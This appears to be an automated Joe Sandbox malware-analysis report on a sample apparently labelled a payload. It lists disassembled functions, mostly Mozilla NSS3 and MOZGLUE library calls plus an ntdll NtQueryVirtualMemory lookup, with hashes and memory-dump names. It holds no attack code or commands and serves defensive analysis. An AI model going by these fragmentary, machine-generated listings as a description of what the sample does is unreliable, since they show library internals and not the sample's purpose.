Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 2922443ff3647b0d0c2e644de7fb47f8703259af0c1b2eefa73c7c27f3a60847
Instruction ID: 3023848f5a070d7afa8a5c67d1589a957c99673e376ed7f1b3ec44abb8fcd700
Opcode Fuzzy Hash: 2922443ff3647b0d0c2e644de7fb47f8703259af0c1b2eefa73c7c27f3a60847
Instruction Fuzzy Hash: AB41EF707083159FE360CF69C884A9BB7F8AF44359F100B1CFA9087A50EB30D949CBA2

Function 6C426DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C426E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C426E57

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C426E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C426EAA

Strings

nLl, xrefs: 6C426DF9

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nLl
API String ID: 3163584228-3118956914
Opcode ID: 50b59f2e62445af3458e23f943d5171630b810b869bd9b9d0f9e448e80bec1f4
Instruction ID: d06c9c0ab96dad0d9c189c5f78df39ab2e1bfb4fa2128db07721aac31038e264
Opcode Fuzzy Hash: 50b59f2e62445af3458e23f943d5171630b810b869bd9b9d0f9e448e80bec1f4
Instruction Fuzzy Hash: 1331BF71610552EEDB149F34CC06FD6B7A5AB0531BF20063CD49AD6B40EB356554CB91

Function 6C48A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C357915,?,?), ref: 6C48A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C357915,?,?), ref: 6C48A8A6

Strings

%s at line %d of [%.10s], xrefs: 6C48A8A0
database corruption, xrefs: 6C48A89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C48A891

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 9ed0330576a25206e36fa7c447edd488e8a28a43165e02182325854f6d9d0a78
Instruction ID: 7731a8b7d12759567e75f1e8cb747eb659fdda239e16557d3463118c21fb5b18
Opcode Fuzzy Hash: 9ed0330576a25206e36fa7c447edd488e8a28a43165e02182325854f6d9d0a78
Instruction Fuzzy Hash: 71110375A01204ABDB04CF21DC41EAAB7A1FF49354F448429FD594BB80EB74E916CBA6

Function 6C3A0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C3A0BDE), ref: 6C3A0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C3A0BDE), ref: 6C3A0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C3A0BDE), ref: 6C3A0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C3A0BDE), ref: 6C3A0E32

Strings

%s incr => %d (find lib), xrefs: 6C3A0E2D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 374dcaaebaadcd6298944d6baf59665985877cf446330a3f2d60cf429bd38311
Instruction ID: 93584fbc31077845eb7143d55b70a4c7cfaed44c93ba89549c2e3ed3a5c10773
Opcode Fuzzy Hash: 374dcaaebaadcd6298944d6baf59665985877cf446330a3f2d60cf429bd38311
Instruction Fuzzy Hash: B50128727006109FE610CFA4DC89E17B3ACDB45609B05446DD90AD3A41E762FC258BE2

Function 6C45AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]Dl,00000000,?,?,6C436AC6,?), ref: 6C45AC2D

Part of subcall function 6C3FADC0: TlsGetValue.KERNEL32(?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE10
Part of subcall function 6C3FADC0: EnterCriticalSection.KERNEL32(?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE24
Part of subcall function 6C3FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C3DD079,00000000,00000001), ref: 6C3FAE5A
Part of subcall function 6C3FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE6F
Part of subcall function 6C3FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE7F
Part of subcall function 6C3FADC0: TlsGetValue.KERNEL32(?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAEB1
Part of subcall function 6C3FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAEC9

PK11_FreeSymKey.NSS3(?,@]Dl,00000000,?,?,6C436AC6,?), ref: 6C45AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]Dl,00000000,?,?,6C436AC6,?), ref: 6C45AC59
free.MOZGLUE(8CB6FF01,6C436AC6,?,?,?,?,?,?,?,?,?,?,6C445D40,00000000,?,6C44AAD4), ref: 6C45AC62

Strings

@]Dl, xrefs: 6C45AC05

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]Dl
API String ID: 1595327144-237346224
Opcode ID: fbf24dc7945c8ac6776b4fd16a715769249f9209c730b1700b47846141b60ba7
Instruction ID: cb9c49a2f4af2ce26299aa0fc1ed476d23578c060da125cb83e738b9866960c2
Opcode Fuzzy Hash: fbf24dc7945c8ac6776b4fd16a715769249f9209c730b1700b47846141b60ba7
Instruction Fuzzy Hash: EF018BB56002009FDB01CF18E8C0F5677A8EF04B19F188068E9498F706D730E818CBB2

Function 6C2FC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C2FC0E9), ref: 6C2FC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C2FC437
FreeLibrary.KERNEL32(?,6C2FC0E9), ref: 6C2FC44C

Strings

ntdll.dll, xrefs: 6C2FC413
NtQueryVirtualMemory, xrefs: 6C2FC431

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 40841f0e959070cfb9503b1e4a22a12346a3979d1e594f182d80c7e36ccecf39
Instruction ID: 72ad820705417445b8d3c6726e0fb71d9203850fba1e5f1cd2c14a4a81f17774
Opcode Fuzzy Hash: 40841f0e959070cfb9503b1e4a22a12346a3979d1e594f182d80c7e36ccecf39
Instruction Fuzzy Hash: 63E0B6B56053199FDF00BF75D90A7117BFCA70E709F004616EA0895F10EBB4C0128B60

Function 6C3AEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3AEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C3AEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C3AEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3AEEEB
free.MOZGLUE(?), ref: 6C3AEEF6

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 5c49b2d33ed138ce92edc4a26af0a3e43a8ee2e4218f00ee492fd0687ec842dd
Instruction ID: 5f9426d8cfa1c3e27f703ca490f1d5893fee5727cc7e568645e46e9b7bced474
Opcode Fuzzy Hash: 5c49b2d33ed138ce92edc4a26af0a3e43a8ee2e4218f00ee492fd0687ec842dd
Instruction Fuzzy Hash: AF31B471A003009FE7209F68CC45F667BF4FB46319F150629E85A87A50E732A935CFE6

Function 6C3BAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C3B3FFF,00000000,?,?,?,?,?,6C3B1A1C,00000000,00000000), ref: 6C3BADA7

Part of subcall function 6C4114C0: TlsGetValue.KERNEL32 ref: 6C4114E0
Part of subcall function 6C4114C0: EnterCriticalSection.KERNEL32 ref: 6C4114F5
Part of subcall function 6C4114C0: PR_Unlock.NSS3 ref: 6C41150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C3B3FFF,00000000,?,?,?,?,?,6C3B1A1C,00000000,00000000), ref: 6C3BADB4

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C3B3FFF,?,?,?,?,6C3B3FFF,00000000,?,?,?,?,?,6C3B1A1C,00000000), ref: 6C3BADD5

Part of subcall function 6C40FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C408D2D,?,00000000,?), ref: 6C40FB85
Part of subcall function 6C40FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C40FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C4D94B0,?,?,?,?,?,?,?,?,6C3B3FFF,00000000,?), ref: 6C3BADEC

Part of subcall function 6C40B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4E18D0,?), ref: 6C40B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3B3FFF), ref: 6C3BAE3C

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d026713d1857f44f48f070d2c781d8f6485dacb5d7fe64f0ab72748d105e6761
Instruction ID: 07f6b891255c190c318f3916b74aecc07ee14d98333acf0fe5644ce5ed283cb0
Opcode Fuzzy Hash: d026713d1857f44f48f070d2c781d8f6485dacb5d7fe64f0ab72748d105e6761
Instruction Fuzzy Hash: 87113331E002041BE710DB259C11FBF73B89FA124CF04422CF859A6A41FB31E958CAE2

Function 6C408800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C41085A,00000000,?,6C3B8369,?), ref: 6C408821
TlsGetValue.KERNEL32(?,?,6C41085A,00000000,?,6C3B8369,?), ref: 6C40883D
EnterCriticalSection.KERNEL32(?,?,?,6C41085A,00000000,?,6C3B8369,?), ref: 6C408856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C408887
PR_Unlock.NSS3(?,?,?,?,6C41085A,00000000,?,6C3B8369,?), ref: 6C408899

Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07AD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07CD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07D6
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C33204A), ref: 6C3A07E4
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,6C33204A), ref: 6C3A0864
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C3A0880
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C33204A), ref: 6C3A08CB
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08D7
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08FB

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: fce59d18012e0bbd744bb6ce3f709d03b7cf0a9297999163e5cbcf46363d38ee
Instruction ID: 88ba41c40e16b14afeda995994a5b275930526f2c386f3731695df05bc9504a8
Opcode Fuzzy Hash: fce59d18012e0bbd744bb6ce3f709d03b7cf0a9297999163e5cbcf46363d38ee
Instruction Fuzzy Hash: 68219CB5A446058FDB00EF78C984D6ABBB4FF06309F01466ADC9496B05EB30D995CB92

Function 6C3C8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C3D0710), ref: 6C3C8FF1
PR_CallOnce.NSS3(6C512158,6C3C9150,00000000,?,?,?,6C3C9138,?,6C3D0710), ref: 6C3C9029
calloc.MOZGLUE(00000001,00000000,?,?,6C3D0710), ref: 6C3C904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C3D0710), ref: 6C3C9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C3D0710), ref: 6C3C9078

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: bdd21fae42bf84f4ebfa966740fd6af90ffdbb4363d4c84893dd02c97e7e5389
Instruction ID: 0d64d7dbad6f788ef7938f6087366bfed8e0a265929efef0a95bd7b200586555
Opcode Fuzzy Hash: bdd21fae42bf84f4ebfa966740fd6af90ffdbb4363d4c84893dd02c97e7e5389
Instruction Fuzzy Hash: 2F1129317002615BEB105E699C059AE36ACEB8276CF020025FC44C6F41F313CD558BF7

Function 6C3DCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C3F1E10: TlsGetValue.KERNEL32 ref: 6C3F1E36
Part of subcall function 6C3F1E10: EnterCriticalSection.KERNEL32(?,?,?,6C3CB1EE,2404110F,?,?), ref: 6C3F1E4B
Part of subcall function 6C3F1E10: PR_Unlock.NSS3 ref: 6C3F1E76

free.MOZGLUE(?,6C3DD079,00000000,00000001), ref: 6C3DCDA5
PK11_FreeSymKey.NSS3(?,6C3DD079,00000000,00000001), ref: 6C3DCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C3DD079,00000000,00000001), ref: 6C3DCDCF
DeleteCriticalSection.KERNEL32(?,6C3DD079,00000000,00000001), ref: 6C3DCDE2
free.MOZGLUE(?), ref: 6C3DCDE9

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: baf505225a48df9da1e86a3453efc7b1470735b513a6f2938f387974f222484c
Instruction ID: 6aa91ec3aa8dc4f5927e3ae0c931d04e9953bdf01a1e8af2ed91db754d066110
Opcode Fuzzy Hash: baf505225a48df9da1e86a3453efc7b1470735b513a6f2938f387974f222484c
Instruction Fuzzy Hash: BC11ACB3B01216ABEA00AE65FC45D9AB76CFF042697120535E919C7E01E732F424CFE2

Function 6C442CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C445B40: PR_GetIdentitiesLayer.NSS3 ref: 6C445B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C442CEC

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PR_EnterMonitor.NSS3(?), ref: 6C442D02
PR_EnterMonitor.NSS3(?), ref: 6C442D1F
PR_ExitMonitor.NSS3(?), ref: 6C442D42
PR_ExitMonitor.NSS3(?), ref: 6C442D5B

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: b498a887a0ebe6259d48ffcd73e60bd5b5c5ad07db4eefb07cd28686d1b14ecd
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 8D01E1F1A102006BFA31DE25FC45EC7B7B1EB55358F108529E95AC6720EA32E925C6E2

Function 6C442D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C445B40: PR_GetIdentitiesLayer.NSS3 ref: 6C445B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C442D9C

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PR_EnterMonitor.NSS3(?), ref: 6C442DB2
PR_EnterMonitor.NSS3(?), ref: 6C442DCF
PR_ExitMonitor.NSS3(?), ref: 6C442DF2
PR_ExitMonitor.NSS3(?), ref: 6C442E0B

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: e85a62ead189bdcfa111e404e7711c56d4d553cb087011f58eb1465099c2f515
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
